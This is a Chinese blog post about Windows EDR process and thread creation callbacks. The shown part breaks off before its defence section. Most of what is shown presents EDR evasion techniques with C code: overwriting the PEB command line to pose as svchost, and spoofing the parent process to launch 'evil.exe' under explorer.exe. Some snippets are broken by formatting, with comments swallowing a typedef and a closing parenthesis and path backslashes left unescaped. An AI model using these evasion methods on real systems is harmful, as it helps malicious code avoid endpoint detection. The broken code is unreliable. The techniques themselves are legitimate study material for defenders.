Windows EDR 如何通过回调机制拦截程序?3 类规避方案 + 防御对策详解

78 阅读5分钟

在 Windows 安全领域,不少开发者或安全研究者会遇到一个问题:自己编写的程序(甚至是用于测试的样本)一启动就被 EDR(端点检测响应)工具拦截。这背后,EDR 的“火眼金睛”并非凭空而来,而是依赖 Windows 系统赋予的特殊权限 —— 回调机制。今天我们就从原理到实践,拆解 EDR 的工作逻辑,以及常见的规避思路,最后再聊聊现代 EDR 的防御升级。

一、EDR 的“眼线”:回调例程如何监控进程?

很多人疑惑,为什么 EDR 能精准捕捉到刚启动的程序?核心原因在于 Windows 为安全软件开放了“通知接口”,也就是 回调例程(Callback Routine) 。我们可以用一个通俗的比喻理解:如果把 Windows 系统比作一座工厂,你的代码是工厂里的工人,EDR 就是工厂派驻的安全检查员,而回调例程就是检查员的“固定岗哨”。

只要工厂里发生关键事件(比如新工人入职、新生产线启动),检查员就会第一时间收到通知 —— 这就是 EDR 能“提前拦截”的关键。

1.1 回调例程的工作原理:从注册到通知

Windows 系统中有多个“关键通知点(Notification Points)”,EDR 的驱动程序会通过系统 API 向这些节点注册回调函数。以最核心的“进程创建通知”为例,其简化的实现逻辑如下:

// 定义进程创建通知的回调函数格式
typedef VOID (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
    HANDLE ProcessId,       // 新进程 ID
    HANDLE CreatorProcessId,// 父进程 ID
    BOOLEAN Create          // 是否为创建操作
);
 
// EDR 驱动向 Windows 注册回调
PsSetCreateProcessNotifyRoutine(
    EdmProcessNotifyRoutine,  // EDR 自定义的回调函数
    FALSE                     // 设为 FALSE 表示“注册”,TRUE 表示“删除”);

当你执行 CreateProcessA 或CreateProcessW创建新进程时,Windows 会自动触发 EDR 注册的回调函数,并传递 3 类关键信息:

  • 新进程的 ID 和父进程 ID;
  • 进程在磁盘上的完整路径;
  • 进程启动时的命令行参数。

更关键的是,这个通知发生在 进程实际执行代码之前—— 相当于程序还没“睁开眼”,就已经被 EDR“扫描全身”了。

1.2 除了进程,EDR 还监控线程:更隐蔽的“岗哨”

如果说“进程创建通知”是 EDR 的第一道防线,那“线程创建通知”就是第二道更隐蔽的监控。毕竟很多高级攻击不会创建新进程,而是在现有合法进程中注入线程(比如在 explorer.exe 中运行恶意代码),此时线程回调就能发挥作用。

线程回调的注册逻辑与进程类似,只需通过 PsSetCreateThreadNotifyRoutine 注册自定义函数,当任何进程创建新线程时,EDR 都会收到ProcessId(所属进程 ID)和ThreadId(线程 ID)的通知 —— 这意味着即使不新建进程,单纯的线程注入也会被 EDR 捕捉。

二、3 类经典 EDR 规避方案:从“掩人耳目”到“借壳生蛋”

了解了 EDR 的监控逻辑后,安全研究者会针对性地设计规避方案。这些方案的核心思路一致:利用 EDR 的“观察盲点”,修改其获取的关键信息,或绕开其监控节点。以下是 3 类最常见的实践方案,均附核心实现逻辑。

2.1 命令行篡改:修改 PEB 中的“身份信息”

EDR 获取进程命令行的核心来源,是 Windows 的 进程环境块(PEB,Process Environment Block) 。PEB 中存储了进程的关键参数,其中 RTL_USER_PROCESS_PARAMETERS 结构体的 CommandLine 字段,就是 EDR 读取的“命令行原文”。

规避思路很直接:在进程启动后,修改 PEB 中 CommandLine 的内容,让 EDR 后续读取时看到虚假信息。核心代码如下:

#include <windows.h>
#include <stdio.h>
 
// 定义 PEB 相关结构体(简化版)typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;
 
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    // 省略其他字段...
    UNICODE_STRING CommandLine;  // 待修改的命令行字段
} RTL_USER_PROCESS_PARAMETERS;
 
int main() {
    // 64 位系统中,通过 GS 寄存器偏移 0x60 获取 PEB 地址
    PPEB peb = (PPEB)__readgsqword(0x60);
    RTL_USER_PROCESS_PARAMETERS* params = (RTL_USER_PROCESS_PARAMETERS*)peb->ProcessParameters;
    
    // 将恶意命令行伪装成系统进程命令行
    wcscpy_s(params->CommandLine.Buffer, 
             params->CommandLine.MaximumLength, 
             L"C:\Windows\System32\svchost.exe -k netsvcs");
    return 0;
}

注意:这种方案有明显局限性 —— 现代 EDR 会在回调触发时(进程创建初期)就记录命令行,后续修改 PEB 的操作“为时已晚”,仅对部分旧版本 EDR 有效。

2.2 父进程 ID(PPID)欺骗:让恶意进程“认对爹”

EDR 在判断进程是否可疑时,会关注“父进程身份”。比如一个 notepad.exe 突然创建了一个未知进程,EDR 会标记为高风险;但如果这个未知进程的父进程是explorer.exe(系统桌面进程)或svchost.exe(系统服务进程),就会显得“合理”很多。

PPID 欺骗的核心是:创建恶意进程时,通过 Windows 的扩展启动属性,将其“父进程”伪装成合法系统进程。核心代码如下:

#include <windows.h>
#include <tlhelp32.h>
 
// 辅助函数:根据进程名获取进程句柄
HANDLE GetProcessHandle(const char* targetName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32A pe = {sizeof(pe)};
    while (Process32NextA(hSnapshot, &pe)) {if (strcmp(pe.szExeFile, targetName) == 0) {CloseHandle(hSnapshot);
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
        }
    }
    CloseHandle(hSnapshot);
    return NULL;
}
 
int main() {STARTUPINFOEXA siex = {0};
    SIZE_T attrSize = 0;
    PROCESS_INFORMATION pi = {0};
 
    // 初始化进程属性列表
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attrSize);
 
    // 获取 explorer.exe 的句柄(伪装成父进程)HANDLE hParent = GetProcessHandle("explorer.exe");
    // 设置“父进程”属性
    UpdateProcThreadAttribute(
        siex.lpAttributeList,
        0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // 关键属性:父进程
        &hParent,
        sizeof(HANDLE),
        NULL,
        NULL
    );
 
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    // 创建恶意进程,使用扩展属性(伪装父进程)CreateProcessA(
        "C:\test\evil.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,  // 启用扩展启动信息
        NULL,
        NULL,
        &siex.StartupInfo,
        &pi
    );
 
    // 释放资源
    CloseHandle(hParent);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    free(siex.lpAttributeList);
    return 0;
}

这种方案的优势是“伪装度高”,EDR 看到的父进程是系统合法进程,初期不易触发告警。但如果后续进程行为异常(比如连接恶意 IP),仍会被 EDR 的行为分析捕捉。

2.3 进程镜像修改:给恶意进程“换个名字”

继续阅读全文:Windows EDR 如何通过回调机制拦截程序?3 类规避方案 + 防御对策详解